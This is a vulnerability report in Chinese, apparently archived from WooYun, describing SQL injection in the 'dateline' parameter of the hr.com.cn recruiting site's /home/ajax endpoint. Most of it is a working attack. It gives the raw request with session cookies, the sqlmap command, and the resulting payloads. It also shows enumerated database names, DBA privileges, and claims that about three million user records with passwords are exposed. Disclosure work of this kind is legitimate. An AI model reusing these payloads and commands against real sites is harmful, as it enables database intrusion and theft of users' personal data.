乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2016-04-11: 积极联系厂商并且等待厂商认领中,细节不对外公开 2016-05-26: 厂商已经主动忽略漏洞,细节向公众公开
RT
post.txt:
POST /home/ajax HTTP/1.1Content-Length: 245Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://www.hr.com.cn/Cookie: YII_CSRF_TOKEN=0cc83a083960abe3c5c935341ae1ccb3efa4127f; PHPSESSID=nbp8o8718gju3o9n698cq7fo64; postview=1423415234%2C1423415225%2C1423415228%2C1423415178%2C1423415229%2C1423414048%2C1423414005%2C1423415230%2C1423415222%2C1423415187%2C1423415216%2C1423415179%2C1423415182%2C1423415198%2C1423415173%2C1423415163%2C1423415186%2C1423415190%2C1423415226%2C1423415164%2C1423415020%2C1423415233%2C1423415196%2C1423406123%2C1423415231%2C1423415180%2C1423415218%2C1423415212%2C1423415223%2C1423395125%2C1423415220%2C1423415201%2C1423415131%2C1423406121%2C1423415215%2C1423415119%2C1423415133%2C1423415098%2C1423406084%2C1423401529%2C1423415232%2C1423415171%2C1423414977%2C1423399179%2C1423414983%2C1423415114%2C1423406106%2C1423414573%2C1423414921%2C1423414808%2C1423414160%2C1423412421%2C1423412416%2C1423414746%2C1423412408%2C1423414765%2C1423415104%2C1423412452%2C1423400309%2C1423415184%2C1423415209%2C1423412255%2C1423415082%2C1423415195%2C1423414970%2C1423415120%2C1423414622%2C1423414937%2C1423414694%2C1423415028%2C1423415019%2C1423415162%2C1423413820Host: www.hr.com.cnConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*action=getMoreArticles&countH=5&countR=0&dateline=1459825432&type=&value=&YII_CSRF_TOKEN=0cc83a083960abe3c5c935341ae1ccb3efa4127f
注入参数dateline
python sqlmap.py -r hr.txt --current-db --is-dba -p dateline --random-agent --dbs
sqlmap resumed the following injection point(s) from stored session:---Parameter: dateline (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: action=getMoreArticles&countH=5&countR=0&dateline=1459825432) AND 5066=5066 AND Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: action=getMoreArticles&countH=5&countR=0&dateline=1459825432) AND (SELECT 5703 F---[10:36:27] [INFO] the back-end DBMS is MySQLweb server operating system: Linux CentOS 6.5web application technology: Apache 2.2.15, PHP 5.2.17back-end DBMS: MySQL 5.0[10:36:27] [INFO] fetching current database[10:36:27] [INFO] resumed: hr_newcurrent database: 'hr_new'[10:36:27] [INFO] testing if current user is DBA[10:36:27] [INFO] fetching current user[10:36:27] [INFO] resumed: [email protected]current user is DBA: True[10:36:27] [INFO] fetching database names[10:36:29] [INFO] the SQL query used returns 11 entries[10:36:29] [INFO] retrieved: information_schema[10:36:29] [INFO] retrieved: club_bbs[10:36:29] [INFO] retrieved: clubx[10:36:29] [INFO] retrieved: hr[10:36:29] [INFO] retrieved: hr_new[10:36:30] [INFO] retrieved: #mysql50#lost+found[10:36:30] [INFO] retrieved: mysql[10:36:30] [INFO] retrieved: tar_dir[10:36:30] [INFO] retrieved: test[10:36:30] [INFO] retrieved: tmp[10:36:30] [INFO] retrieved: tmp_diravailable databases [11]:[*] #mysql50#lost+found[*] club_bbs[*] clubx[*] hr[*] hr_new[*] information_schema[*] mysql[*] tar_dir[*] test[*] tmp[*] tmp_dir
数据库信息,当前dba权限:
涉及300万用户数据数据240万:
120万:
涉及账号密码:
过滤
未能联系到厂商或者厂商积极拒绝
漏洞Rank:15 (WooYun评价)